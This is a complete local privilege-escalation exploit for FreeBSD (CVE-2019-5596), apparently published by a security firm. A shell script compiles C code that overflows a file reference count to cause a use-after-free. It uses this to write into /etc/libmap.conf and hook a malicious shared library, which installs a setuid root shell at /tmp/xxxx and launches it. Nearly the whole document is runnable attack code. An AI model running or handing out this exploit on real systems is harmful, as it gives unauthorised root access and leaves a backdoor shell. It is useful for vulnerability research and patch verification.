Local root exploit for the FreeBSD fd vulnerability as disclosed in FreeBSD-SA-19:02.fd.
6426b023a6749568c0e3de1d4ba2531a# Exploit: FreeBSD-SA-19:02.fd - Privilege Escalation
# Date: 2019-12-30
# Author: Karsten König of Secfault Security
# Twitter: @gr4yf0x
# Kudos: Maik, greg and Dirk for discussion and inspiration
# CVE: CVE-2019-5596
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
#!/bin/sh
echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security"
umask 0000
if [ ! -f /etc/libmap.conf ]; then
echo "[!] libmap.conf has to exist"
exit
fi
cp /etc/libmap.conf ./
cat > heavy_cyber_weapon.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/un.h>
#define N_FDS 0xfe
#define N_OPEN 0x2
#define N 1000000
#define NUM_THREADS 400
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25
#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
#define ATTACK_PATH "/etc/libmap.conf"
#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"
#define CORE_0 0
#define CORE_1 1
#define MAX_TRIES 500
struct thread_data {
int fd;
int fd2;
};
pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;
int send_recv(int fd, int sv[2], int n_fds) {
int ret, i;
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmh;
char cmsg[CMSG_SPACE(sizeof(int)*n_fds)];
int *fds; char buf[1];
iov.iov_base = "a";
iov.iov_len = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg;
msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds);
msg.msg_flags = 0;
cmh = CMSG_FIRSTHDR(&msg);
cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds);
cmh->cmsg_level = SOL_SOCKET;
cmh->cmsg_type = SCM_RIGHTS;
fds = (int *)CMSG_DATA(cmsg);
for (i = 0; i < n_fds; i++) {
fds[i] = fd;
}
ret = sendmsg(sv[0], &msg, 0);
if (ret == -1) {
return 1;
}
iov.iov_base = buf;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmh;
msg.msg_controllen = CMSG_SPACE(0);
msg.msg_flags = 0;
ret = recvmsg(sv[1], &msg, 0);
if (ret == -1) {
return 1;
}
return 0;
}
int open_tmp(char *path)
{
int fd;
char *real_path;
if (path != NULL) {
real_path = malloc(strlen(path) + 1);
strcpy(real_path, path);
}
else {
real_path = malloc(strlen(DEFAULT_PATH) + 1);
strcpy(real_path, DEFAULT_PATH);
}
if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) {
perror("[!] open");
exit(1);
}
fchmod(fd, 0700);
return fd;
}
void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
bzero(remote, sizeof(struct sockaddr_un));
remote->sun_family = AF_UNIX;
strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}
int bind_domain_socket(struct sockaddr_un *remote) {
int server_socket;
if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
if (bind(server_socket,
(struct sockaddr *) remote,
sizeof(struct sockaddr_un)) != 0) {
perror("[!] bind");
exit(1);
}
return server_socket;
}
int connect_domain_socket_client() {
int client_socket;
if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
return client_socket;
}
// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is used but fd2 still points to the struct, hence fdrop()
// is called at exit and will panic because f_count will
// be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int sv[2], int fd)
{
send_recv(fd, sv, 0xfe);
}
int stick_thread_to_core(int core) {
/* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */
/* if (core_id < 0 || core_id >= num_cores) */
/* return EINVAL; */
cpuset_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
pthread_t current_thread = pthread_self();
return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}
void *trigger_uaf(void *thread_args) {
struct thread_data *thread_data;
int fd, fd2;
if (stick_thread_to_core(CORE_0) != 0) {
perror("[!] [!] trigger_uaf: Could not stick thread to core");
}
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = thread_data->fd2;
printf("[+] trigger_uaf: fd: %d\n", fd);
printf("[+] trigger_uaf: fd2: %d\n", fd2);
printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
pthread_mutex_lock(&trigger_mtx);
pthread_cond_wait(&trigger_cond, &trigger_mtx);
usleep(40);
// Close to fds to trigger uaf
//
// This assumes that fget_write() in kern_writev()
// was already successful!
//
// Otherwise kernel panic is triggered
//
// refcount = 2 (primitive+fget_write)
close(fd);
close(fd2);
// refcount = 0 => free
fd = open(ATTACK_PATH, O_RDONLY);
// refcount = 1
printf("[+] trigger_uaf: Opened read-only file, now hope\n");
printf("[+] trigger_uaf: Exit\n");
pthread_exit(NULL);
}
void *hammer(void *arg) {
int i, j, k, client_socket, ret;
char buf[FILE_SIZE], sync_buf[3];
FILE *fd[N_FILES];
struct sockaddr_un remote;
prepare_domain_socket(&remote, SERVER_PATH);
client_socket = connect_domain_socket_client();
strncpy(sync_buf, "1\n", 3);
for (i = 0; i < N_FILES; i++) {
unlink(HAMMER_PATH);
if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
perror("[!] fopen");
exit(1);
}
}
for (i = 0; i < FILE_SIZE; i++) {
buf[i] = 'a';
}
pthread_mutex_lock(&hammer_mtx);
// Sometimes sendto() fails because
// no free buffer is available
for (;;) {
if (sendto(client_socket,
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &remote,
sizeof(remote)) != -1) {
break;
}
}
pthread_cond_wait(&hammer_cond, &hammer_mtx);
pthread_mutex_unlock(&hammer_mtx);
for (i = 0; i < N; i++) {
for (k = 0; k < N_FILES; k++) {
rewind(fd[k]);
}
for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
for (k = 0; k < N_FILES; k++) {
if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
perror("[!] fwrite");
exit(1);
}
}
fflush(NULL);
}
}
pthread_exit(NULL);
}
// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
int hidirtybuffers, numdirtybuffers;
size_t len;
len = sizeof(int);
if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
perror("[!] sysctlbyname hidirtybuffers");
exit(1);
};
printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);
while(1) {
sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
if (numdirtybuffers >= hidirtybuffers) {
pthread_cond_signal(&write_cond);
pthread_cond_signal(&trigger_cond);
printf("[+] monitor: Reached hidirtybuffers watermark\n");
break;
}
}
pthread_exit(NULL);
}
int check_write(int fd) {
char buf[256];
int nbytes;
struct stat st;
printf("[+] check_write\n");
stat(DEFAULT_PATH, &st);
printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size);
stat(ATTACK_PATH, &st);
printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size);
nbytes = read(fd, buf, strlen(HOOK_LIB));
printf("[+] Read bytes: %d\n", nbytes);
if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
return 1;
}
else if (nbytes < 0) {
perror("[!] check_write:read");
printf("[!] check_write:Cannot check if it worked!");
return 1;
}
return 0;
}
void *write_to_file(void *thread_args) {
int fd, fd2, nbytes;
int *fd_ptr;
char buf[256];
struct thread_data *thread_data;
if (stick_thread_to_core(CORE_1) != 0) {
perror("[!] write_to_file: Could not stick thread to core");
}
fd_ptr = (int *) malloc(sizeof(int));
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = open(ATTACK_PATH, O_RDONLY);
printf("[+] write_to_file: Wait for signal from monitor\n");
pthread_mutex_lock(&write_mtx);
pthread_cond_wait(&write_cond, &write_mtx);
snprintf(buf, 256, "%s %s\n#", HOOK_LIB, ATTACK_LIB);
nbytes = write(fd, buf, strlen(buf));
// Reopen directly after write to prevent panic later
//
// After the write f_count == 0 because after trigger_uaf()
// opened the read-only file, f_count == 1 and write()
// calls fdrop() at the end
//
// => f_count == 0
//
// A direct open hopefully assigns the now again free file
// object to fd so that we can prevent the panic with our
// increment primitive.
if ((fd = open_tmp(NULL)) == -1)
perror("[!] write_to_file: open_tmp");
*fd_ptr = fd;
if (nbytes < 0) {
perror("[!] [!] write_to_file:write");
} else if (nbytes > 0) {
printf("[+] write_to_file: We have written something...\n");
if (check_write(fd2) > 0)
printf("[+] write_to_file: It (probably) worked!\n");
else
printf("[!] write_to_file: It worked not :(\n");
}
printf("[+] write_to_file: Exit\n");
pthread_exit(fd_ptr);
}
void prepare(int sv[2], int fds[2]) {
int fd, fd2, i;
printf("[+] Start UaF preparation\n");
printf("[+] This can take a while\n");
// Get a single file descriptor to send via the socket
if ((fd = open_tmp(NULL)) == -1) {
perror("[!] open_tmp");
exit(1);
}
if ((fd2 = dup(fd)) == -1) {
perror("[!] dup");
exit(1);
}
// fp->f_count will increment by 0xfe in one iteration
// doing this 16909320 times will lead to
// f_count = 16909320 * 0xfe + 2 = 0xfffffff2
// Note the 2 because of the former call of dup() and
// the first open().
//
// To test our trigger we can send 0xd more fd's what
// would to an f_count of 0 when fdclose() is called in
// m_dispose_extcontrolm. fdrop() will reduce f_count to
// 0xffffffff = -1 and ultimately panic when _fdrop() is
// called because the latter asserts that f_count is 0.
// _fdrop is called in the first place because
// refcount_release() only checks that f_count is less or
// equal 1 to recognize the last reference.
//
// If we want to trigger the free without panic, we have
// to send 0xf fds and close an own what will lead to an
// fdrop() call without panic as f_count is 1 and reduced
// to 0 by close(). The unclosed descriptor references now
// a free 'struct file'.
for (i = 0; i < 16909320; i++) {
if (i % 1690930 == 0) {
printf("[+] Progress: %d%%\n", (u_int32_t) (i / 169093));
}
if (send_recv(fd, sv, N_FDS)) {
perror("[!] prepare:send_recv");
exit(1);
}
}
if (send_recv(fd, sv, 0xf)) {
perror("[!] prepare:send_recv");
exit(1);
}
fds[0] = fd;
fds[1] = fd2;
printf("[+] Finished UaF preparation\n");
}
void read_thread_status(int server_socket) {
int bytes_rec, count;
struct sockaddr_un client;
socklen_t len;
char buf[256];
struct timeval tv;
tv.tv_sec = 10;
tv.tv_usec = 0;
setsockopt(server_socket,
SOL_SOCKET, SO_RCVTIMEO,
(const char*)&tv, sizeof tv);
for (count = 0; count < NUM_FORKS*NUM_THREADS; count++) {
if (count % 100 == 0) {
printf("[+] Hammer threads ready: %d\n", count);
}
bzero(&client, sizeof(struct sockaddr_un));
bzero(buf, 256);
len = sizeof(struct sockaddr_un);
if ((bytes_rec = recvfrom(server_socket,
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] recvfrom");
break;
}
}
if (count != NUM_FORKS * NUM_THREADS) {
printf("[!] Could not create all hammer threads, will try though!\n");
}
}
void fire() {
int i, j, fd, fd2, bytes_rec, server_socket;
int sv[2], fds[2], hammer_socket[NUM_FORKS];
int *fd_ptr;
char socket_path[256], sync_buf[3], buf[256];
pthread_t write_thread, trigger_thread, monitor_thread;
pthread_t hammer_threads[NUM_THREADS];
pid_t pids[NUM_FORKS];
socklen_t len;
struct thread_data thread_data;
struct sockaddr_un server, client;
struct sockaddr_un hammer_socket_addr[NUM_FORKS];
// Socket for receiving thread status
unlink(SERVER_PATH);
prepare_domain_socket(&server, SERVER_PATH);
server_socket = bind_domain_socket(&server);
// Sockets to receive hammer signal
for (i = 0; i < NUM_FORKS; i++) {
snprintf(socket_path, sizeof(socket_path), "%s%c", SERVER_PATH, '1'+i);
unlink(socket_path);
prepare_domain_socket(&hammer_socket_addr[i], socket_path);
hammer_socket[i] = bind_domain_socket(&hammer_socket_addr[i]);
}
strncpy(sync_buf, "1\n", 3);
len = sizeof(struct sockaddr_un);
if (socketpair(PF_UNIX, SOCK_STREAM, 0, sv) == -1) {
perror("[!] socketpair");
exit(1);
}
pthread_mutex_init(&write_mtx, NULL);
pthread_mutex_init(&trigger_mtx, NULL);
pthread_cond_init(&write_cond, NULL);
pthread_cond_init(&trigger_cond, NULL);
pthread_create(&monitor_thread, NULL, monitor_dirty_buffers, NULL);
prepare(sv, fds);
fd = fds[0];
fd2 = fds[1];
thread_data.fd = fd;
thread_data.fd2 = fd2;
pthread_create(&trigger_thread, NULL, trigger_uaf, (void *) &thread_data);
pthread_create(&write_thread, NULL, write_to_file, (void *) &thread_data);
for (j = 0; j < NUM_FORKS; j++) {
if ((pids[j] = fork()) < 0) {
perror("[!] fork");
abort();
}
else if (pids[j] == 0) {
pthread_mutex_init(&hammer_mtx, NULL);
pthread_cond_init(&hammer_cond, NULL);
close(fd);
close(fd2);
/* Prevent that a file stream in the hammer threads
* gets the file descriptor of fd for debugging purposes
*/
if ((fd = open_tmp("/tmp/dummy")) == -1)
perror("[!] dummy");
if ((fd2 = open_tmp("/tmp/dummy2")) == -1)
perror("[!] dummy2");
printf("[+] Fork %d fd: %d\n", j, fd);
printf("[+] Fork %d fd2: %d\n", j, fd2);
for (i = 0; i < NUM_THREADS; i++) {
pthread_create(&hammer_threads[i], NULL, hammer, NULL);
}
printf("[+] Fork %d created all threads\n", j);
if ((bytes_rec = recvfrom(hammer_socket[j],
buf, 256, 0,
(struct sockaddr *) &client,
&len)) == -1) {
perror("[!] accept");
abort();
}
pthread_cond_broadcast(&hammer_cond);
for (i = 0; i < NUM_THREADS; i++) {
pthread_join(hammer_threads[i], NULL);
}
pthread_cond_destroy(&hammer_cond);
pthread_mutex_destroy(&hammer_mtx);
exit(0);
} else {
printf("[+] Created child with PID %d\n", pids[j]);
}
}
read_thread_status(server_socket);
printf("[+] Send signal to Start Hammering\n");
for (i = 0; i < NUM_FORKS; i++) {
if (sendto(hammer_socket[i],
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &hammer_socket_addr[i],
sizeof(hammer_socket_addr[0])) == -1) {
perror("[!] sendto");
exit(1);
}
}
pthread_join(monitor_thread, NULL);
for (i = 0; i < NUM_FORKS; i++) {
kill(pids[i], SIGKILL);
printf("[+] Killed %d\n", pids[i]);
}
pthread_join(write_thread, (void **) &fd_ptr);
pthread_join(trigger_thread, NULL);
pthread_mutex_destroy(&write_mtx);
pthread_mutex_destroy(&trigger_mtx);
pthread_cond_destroy(&write_cond);
pthread_cond_destroy(&trigger_cond);
printf("[+] Returned fd: %d\n", *fd_ptr);
prevent_panic(sv, *fd_ptr);
// fd was acquired from write_to_file
// which allocs a pointer for it
free(fd_ptr);
}
int main(int argc, char **argv)
{
setbuf(stdout, NULL);
fire();
return 0;
}
EOF
cc -o heavy_cyber_weapon -lpthread heavy_cyber_weapon.c
cat > program.c << EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
if (!geteuid())
execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
}
EOF
cc -o program.o -c program.c -fPIC
cc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "[+] Firing the Heavy Cyber Weapon"
./heavy_cyber_weapon
su
if [ -f /tmp/xxxx ]; then
echo "[+] Enjoy!"
echo "[+] Do not forget to copy ./libmap.conf back to /etc/libmap.conf"
/tmp/xxxx
else
echo "[!] FAIL"
fi